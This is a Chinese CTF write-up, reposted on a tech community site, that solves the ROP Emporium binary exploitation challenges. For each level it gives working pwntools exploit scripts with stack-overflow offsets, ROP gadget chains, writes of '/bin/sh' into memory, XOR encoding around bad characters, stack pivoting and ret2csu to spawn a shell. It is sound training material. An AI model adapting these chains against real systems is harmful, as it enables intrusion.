ROP Emporium writeup

ret2win

32位

运行看看

计算一下栈的大小,得到 44

在 ret2win 这个函数里面有个后门,输出了 flag.txt,地址是:0x8048659,只要把返回地址覆盖成这个就可以了

exp

from pwn import *
p=process('./ret2win32')
payload='a'*44+p32(0x8048659)
p.sendline(payload)
p.interactive()

64位

GDB 调试:得到偏移

IDA 分析,依然是有个后门的,地址:0x400811

exp

from pwn import *
p=process('./ret2win')
pay='a'*40+p64(0x400811)
p.sendline(pay)
p.interactive()

它自己带的 flag 确实是写的 32 位

split

32位

计算偏移:44

IDA 打开搜索字符串,发现 data 段有 cat flag

同时有 system 的 plt 地址

exp

from pwn import *
sys_addr=0x8048430
p=process('./split32')
pay='a'*44+p32(sys_addr)+p32(0)+p32(0x804A030)
p.sendline(pay)
p.interactive()

64位

gdb 计算 偏移 40

照样用

因为 64 位的传参要在寄存器里面,用 ROPgadget,找一下 pop rdi 的

exp

from pwn import *
p=process('./split')
pay='a'*40+p64(0x400883)+p64(0x601060)+p64(0x4005E0)
p.sendline(pay)
p.interactive()

callme

32位

题目说要按照 call callme_one(),callme_two(),callme_three() 的顺序调用执行

To dispose of the need for any RE we'll tell you the following: You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. The solution here is simple enough, use your knowledge about what resides in the PLT to call the callme_ functions in the above order and with the correct arguments. Don't get distracted by the incorrect calls to these functions made in the binary, they're there to ensure these functions get linked. You can also ignore the .dat files and the encrypted flag in this challenge, they're there to ensure the functions must be called in the correct order.

计算偏移:44

然后想要按照要求去调用他给的三个 call,那三个 call 是在附带的 libc 里面的定义的

根据这三个函数的定义

call_one 的三个参数应该是:1、2、3

call_two 的三个参数应该是:1、2、3

call_three 的三个参数应该是:1、2、3

需要三个 pop 来把参数占用的给平衡掉,这样才能保证返回到下一个 call

exp

from pwn import *
p=process('./callme32')
call_one=0x080485C0
call_two=0x08048620
call_three=0x080485B0
pop_ret=0x080488a9
pay='a'*44+p32(call_one)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
pay+=p32(call_two)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
pay+=p32(call_three)+p32(pop_ret)+p32(1)+p32(2)+p32(3)
p.sendline(pay)
p.interactive()

64位

x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中

用 ROPgadget --binary callme --only 'pop|ret'

完美!gadgets:0x401ab0

IDA 看一下函数地址

exp

from pwn import *
p=process('./callme')
pop_ret=0x401ab0
call_one=0x401850
call_two=0x401870
call_three=0x401810
pay='a'*40+p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_one)
pay+=p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_two)
pay+=p64(pop_ret)+p64(1)+p64(2)+p64(3)+p64(call_three)
p.sendline(pay)
p.interactive()

write4

32位

偏移 44

没有可以用的 /bin/sh 字符串,有 system,可以用 ret2libc,但这个题目目的不在这,尝试自己去写到内存里然后再调用

参考:https://www.jianshu.com/p/d385e23b2a94

tql!

通过 ROPgadget 找到了要用的两段 gadget

说一下思路:通过 pop edi 和 ebp,把 bss 段的地址和 '/bin' (因为只能放 4 字节),放到这俩寄存器里面

然后通过:mov [edi],ebp 把字符串放到 bss 段,这样放两次,就放完了 "/bin/sh" 了,就可以用 system 来拿到 shell 了

exp

from pwn import *
p = process('./write432')
bss_addr=0x0804A040 
system_plt=0x08048430
pop_edi_ebp=0x080486da
mov_edi_ebp=0x08048670
pay ='a'*44+p32(pop_edi_ebp)+p32(bss_addr)+"/bin"+p32(mov_edi_ebp)
pay+=p32(pop_edi_ebp)+p32(bss_addr+4)+"/sh\x00"+p32(mov_edi_ebp)
pay+=p32(system_plt)+p32(0)+p32(bss_addr)
p.sendline(pay)
p.interactive()

64位

偏移:40

然后用 ROPgadget 看一下 gadgets,这俩不错

然后 IDA 看一下:

同时别忘了,对于 64 位的来说,还需要一个 pop rdi ret 这样的 gadgets

exp

from pwn import *
p=process('./write4')
bss_addr=0x601060
pop_r14_r15=0x400890
mov_r14_r15=0x400820
sys_addr=0x4005E0
pop_rdi=0x400893
pay='a'*40+p64(pop_r14_r15)+p64(bss_addr)+'/bin/sh\x00'+p64(mov_r14_r15)+p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
p.sendline(pay)
p.interactive()

badchars

32位

偏移大小为 44

IDA 看到在 pwnme 函数里面调用了一个 badchars 的函数

函数定义了上面说的那几个字符,如果遇到就换成 -21

这就会影响我们写入 /bin/sh,大佬的解决方案是异或!然后再找 gadget 去异或回来!

https://www.jianshu.com/p/5b9abeca9308

然后,通过这个脚本,来找一下,看一下哪一些可以用来异或

binsh = "/bin/sh\x00"
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
# for i in badchar:
#   print chr(i)
xornum = 1
while 1:
    for x in binsh:
        tem = ord(x) ^ xornum
        if tem in badchar:
            xornum += 1
            break
        if x == "\x00":
            print xornum
            xornum += 1
    if xornum == 10:
        break

也就是可以通过 2 或 3 或 5 或 9

exp

from pwn import *
p=process('./badchars32')
sys_addr=0x080484E0
binsh="/bin/sh\x00"
xorbinsh=""
for i in binsh:
    xorbinsh += chr(ord(i) ^ 2)
xor_ebx_cl=0x8048890
bss_addr=0x804A044
mov_edi_esi=0x8048893
pop_esi_edi=0x8048899
pop_ebx_ecx=0x8048896
pay='a'*44+p32(pop_esi_edi)+xorbinsh[0:4]+p32(bss_addr)+p32(mov_edi_esi)
pay+=p32(pop_esi_edi)+xorbinsh[4:8]+p32(bss_addr+4)+p32(mov_edi_esi)
for i in range(0,len(xorbinsh)):
    pay+=p32(pop_ebx_ecx)
    pay+=p32(bss_addr+i)+p32(2)
    pay+=p32(xor_ebx_cl)
pay+=p32(sys_addr)+p32(0)+p32(bss_addr)
p.sendline(pay)
p.interactive()

解释一下:首先,跟 write4 的一样,先把想要写到的地址和内容,都 pop 到寄存器,然后,mov 到指定的地址,这样就实现了往 bss 段写/bin/sh的操作了,由于写入的是异或的,在下面挨个取出来,再异或一下还原回来

64位

偏移:40

找一下 gadgets

然后 IDA 看一下:sys_addr=0x4006f0

exp

from pwn import *
p=process('./badchars')
binsh='/bin/sh\x00'
xorbinsh=""
for i in binsh:
    xorbinsh+=chr(ord(i)^2)
pop_r12_r13=0x400b3b
mov_r13_r12=0x400b34
xor_r15_r14=0x400b30
pop_r14_r15=0x400b40
pop_rdi=0x400b39
bss_addr=0x601080
sys_addr=0x4006f0
pay='a'*40+p64(pop_r12_r13)+xorbinsh+p64(bss_addr)+p64(mov_r13_r12)
for x in range(0,len(xorbinsh)):
    pay+=p64(pop_r14_r15)+p64(2)+p64(bss_addr+x)+p64(xor_r15_r14)
pay+=p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
p.sendline(pay)
p.interactive()

fluff

32位

找一下 gadget,这次没了之前那种 mov 到地址的操作,但是可以使用 xor 先对一个进行归零,然后再用它来把别的给写入,加上--depth 20 搜的更能全面,最高级就是 20 了

sys_addr=0x8048430

exp

from pwn import *
p = process('./fluff32')
sys_addr = 0x08048430
bss_addr = 0x804A040
#mov_ecx_edx;pop_ebp;pop_ebx;xor_ecx_bl;ret
gadgets1 = 0x08048693
#xor_edx_edx;pop_esi;mov_ebp_0xcafebabe;ret
gadgets2 = 0x08048671
#xor edx, ebx ; pop ebp ; mov edi, 0xdeadbabe ; ret
gadgets3 = 0x0804867b
pop_ebx = 0x080483e1
#xchg edx, ecx ; pop ebp ; mov edx, 0xdefaced0 ; ret
gadgets4 = 0x08048689
pay='a'*44+p32(gadgets2)+p32(0)#edx=0
pay+=p32(pop_ebx)+p32(bss_addr)+p32(gadgets3)#edx=ebx=bss_addr
pay+=p32(0)+p32(gadgets4)+p32(0)#ecx=bss_addr
pay+=p32(pop_ebx)+"/bin"#ebx='/bin'
pay+=p32(gadgets2)+p32(0)#edx=0
pay+=p32(gadgets3)+p32(0)#edx='/bin'
pay+=p32(gadgets1)+p32(0)+p32(0)#edx -> ecx
pay+=p32(pop_ebx) + p32(bss_addr + 4)#ebx=bss_addr+4
pay+=p32(gadgets2) + p32(0)#edx=0
pay+=p32(gadgets3) + p32(0)#edx=ebx=bss_addr+4
pay+=p32(gadgets4) + p32(0)#ecx=bss_addr+4
pay+=p32(pop_ebx)+"/sh\x00"#ebx='/sh\x00'
pay+=p32(gadgets2)+p32(0)#edx=0
pay+=p32(gadgets3)+p32(0)#edx='/sh\x00'
pay+=p32(gadgets1)+p32(0)+p32(0)#edx -> ecx
pay+=p32(sys_addr)+p32(0)+p32(bss_addr)
p.sendline(pay)
p.interactive()

解释一下:首先用 gadgets2 把 edx 置为 0,然后把 bss_addr 给 pop 到 ebx,用 xor edx,ebx 来把 bss_addr 传给 edx

再用 gadgets4 把 edx 的内容给 ecx,再用pop把字符串 pop 到 ebx,先xor edx,edx 为 0,再与 ebx 异或,使得 edx 为 ebx 的内容,再用 gadgets1 把 edx 写到ecx也就是bss_addr

另外说一下:那个 gadgets4,我找到的是 0x08048686,可能是因为机器码的偏移导致 0x08048689 成了 xchg

补:可以用 ROPgadget 搜到(这是另一个的截图)

太妙了,太强了!!!Orz...

64位

屏幕都放不过来了

然后除了需要多用一个 pop_rdi 没区别了

exp

from pwn import *
p = process('./fluff')
binsh = "/bin/sh\x00"
sys_addr = 0x4005E0
bss_addr = 0x601060
pop_rdi = 0x00000000004008c3
#mov r10, r11 ; pop r13 ; pop r12 ; xor r10, r12 ; ret
gadget1 = 0x000000000040084e
#pop r15 ; mov r10, r11 ; pop r13 ; pop r12 ; xor r10, r12 ; ret
gadget2 = 0x000000000040084c
#xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
gadget3 = 0x0000000000400822
#xor r11, r12 ; pop r12 ; mov r13, 0x604060 ; ret
gadget4 = 0x000000000040082f
#xchg r11, r10 ; pop r15 ; mov r11, 0x602050 ; ret
gadget5 = 0x0000000000400840
#pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
gadget6 = 0x00000000004008bc
pay='a'*40+p64(gadget6)+p64(bss_addr)+p64(0)+p64(0)+p64(0)#bss_addr->r12
pay+=p64(gadget3)+p64(0)+p64(gadget4)+p64(0)#bss_addr->r11
pay+=p64(gadget5)+p64(0)#bss_addr->r10
pay+=p64(gadget6)+binsh+p64(0)+p64(0)+p64(0)#binsh->r12
pay+=p64(gadget3)+p64(0)+p64(gadget4)+p64(0)#binsh->r11
pay+=p64(gadget1)+p64(0)+p64(0)
pay+=p64(pop_rdi)+p64(bss_addr)+p64(sys_addr)
p.sendline(pay)
p.interactive()

思路:首先通过 gadget6 把 bss 段的地址给放到 r12,然后通过 gadget3 把 r11 置为 0,再用 gadget4 异或一下,把 bss 段的地址给放到 r11,然后通过 gadget5 把 bss 段的地址放到 r10,到这里就让它在 r10 就好了

然后在通过上述步骤,只是把 /bin/sh 这串字符串放在 r11 就可以,最后通过 gadget1 把 r11 的字符串放到 r10 的 bss 段去

然后在通过 pop_rdi 把参数放在 rdi,给 system 使用

pivot

32位

给的那个 libc 里面有个 ret2win,如果可以调用他的话就能打印出 flag,而 libc 里面的 ret2win 和 foothold_function 之间的偏移是不变的,知道了 foothold_function 就能找到 ret2win 的地址

在程序里面有两次输入,第一次会把 al 的地址给打印出来,意思是让你把栈迁移到这个地方:

leave_ret,用来进行栈迁移

分别放 offset 和 foothold_function 的 got 表项

通过它把 foothold_function 的 got 表项中存的 foothold_function 的实际的地址放到 eax

eax 是 foothold_function 的实际地址,ebx 是 ret2win 相对于 foothold_function 的 offset,相加得到 ret2win 的实际地址

用来调用 ret2win

exp

from pwn import *
p=process("./pivot32")
elf=ELF('./pivot32')
lib_elf=ELF('./libpivot32.so')
leave_ret=0x80486a8
pop_eax=0x080488c0
pop_ebx=0x08048571
add_eax_ebx=0x080488c7
mov_eax_addr=0x080488c4
call_eax=0x080486a3
func_plt=elf.plt['foothold_function']
func_got=elf.got['foothold_function']
foothold_index=lib_elf.symbols['foothold_function']
ret2win_index=lib_elf.symbols['ret2win']
offset=int(ret2win_index-foothold_index)
p.recvuntil("place to pivot: ")
fake_ebp=int(p.recv(10),16)
payload1=p32(func_plt)
payload1+=p32(pop_eax)
payload1+=p32(func_got)
payload1+=p32(mov_eax_addr)
payload1+=p32(pop_ebx)
payload1+=p32(offset)
payload1+=p32(add_eax_ebx)
payload1+=p32(call_eax)
p.recvuntil('> ')
p.sendline(payload1)
payload2='a'*40+p32(fake_ebp-4)+p32(leave_ret)
p.recvuntil('> ')
p.sendline(payload2)
p.interactive()

64位

xchg 专门有这个指令搜索的嗷,可以通过它把 rsp 的值改成 rax 的,这样可以代替 leave_ret

from pwn import *
p=process("./pivot")
elf=ELF('./pivot')
lib_elf=ELF('./libpivot.so')
func_plt=elf.plt['foothold_function']
func_got_plt=elf.got['foothold_function']
foothold_sym=lib_elf.symbols['foothold_function']
ret2win_sym=lib_elf.symbols['ret2win']
offset=int(ret2win_sym-foothold_sym)
leave_ret=0x0400a39
mov_rax_rax=0x0400b05
pop_rax=0x0400b00
pop_rbp=0x0400900
add_rax_rbp=0x0400b09
xchg_rax_rsp = 0x0400b02
call_rax=0x040098e
leakaddr  = int(p.recv().split()[20], 16)
payload1=p64(func_plt)
payload1+=p64(pop_rax)
payload1+=p64(func_got_plt)
payload1+=p64(mov_rax_rax)
payload1+=p64(pop_rbp)
payload1+=p64(offset)
payload1+=p64(add_rax_rbp)
payload1+=p64(call_rax)
p.sendline(payload1)
payload2='A'*40
payload2 += p64(pop_rax)
payload2 += p64(leakaddr)
payload2 += p64(xchg_rax_rsp)
p.sendline(payload2)
p.interactive()

ret2csu

计算偏移:40

关于 ret2csu 原理可以看知识库里的

根据题目的要求,,去 call ret2win 同时,rdx 必须是 0xdeadcafebabebeef

exp

from pwn import *
p=process('ret2csu')
elf=ELF('ret2csu')
csu_front_addr=0x400880
csu_end_addr=0x40089a
ret2win = 0x4007b1
init_pointer= 0x0600E10
puts_got = elf.got['puts']
def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = 'a'*40
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(last)
    p.sendline(payload)
    p.interactive()
csu(0,1,init_pointer,0,0,0xdeadcafebabebeef,ret2win)

本文分享自微信公众号 - 陈冠男的游戏人生(CGN-115),作者:yichen

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-03-16

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 【Vulnhub】bossplayersCTF与两道PWN

    扫不到 IP 可以参考之前的文章:Vulnhub分配IP问题 | w4sp-lab环境搭建

    yichen
  • PWN入门(Off-By-One)

    只溢出一个字节,比如定义的数组是 a[4],在操作的时候却操作 a[4],实际上数组最大是到 a[3] 的

    yichen
  • PWN入门(Off-By-One)

    只溢出一个字节,比如定义的数组是 a[4],在操作的时候却操作 a[4],实际上数组最大是到 a[3] 的

    yichen
  • cssjshtml vue.js 动态添加class

    葫芦
  • 后起之秀go语言你了解吗?助你年薪30W+

    随着云计算越来越普及,企业原来以内部IDC机房为载体的IT基础架构也逐渐发生了很大的变化,企业的业务系统除了部署在原来物理架构外,可能部署在yMware私有云、...

    小小科
  • 《黑客帝国》将重现!人脑植入纳米机器人,秒速获取所有知识

    在这部明见万里“预言书”般的电影中,主角托马斯.安德森(化名“尼奥”的黑客),为了搞清楚Matrix到底是什么,义无反顾吞下红色药丸,踏上探寻真相之路。

    新智元
  • 中国人崇洋爱海淘?印度人却迷上了海淘中国货!

    今日头条丨一点资讯丨腾讯丨搜狐丨网易丨凤凰丨阿里UC大鱼丨新浪微博丨新浪看点丨百度百家丨博客中国丨趣头条丨腾讯云·云+社区

    数据猿
  • 通俗易懂--决策树算法、随机森林算法讲解(算法+案例)

    以上就是LR模型的优缺点,没错,决策树的出现就是为了解决LR模型不足的地方,这也是我们为什么要学习决策树的原因了,没有任何一个模型是万能的。

    mantch
  • 菜鸟 学注册机编写之 “序列号组合”

    1.OD载入程序, F9运行, 点击”Register”随便输入用户名与注册码,如下图:

    我是小三
  • 简单的 canvas 翻角效果

    由于工作需求,需要写一个翻角效果: ? demo链接:http://jsbin.com/rereqes。 右上角需要从无的状态撕开一个标记,且有动画过程,上图是...

    企鹅号小编

扫码关注云+社区

领取腾讯云代金券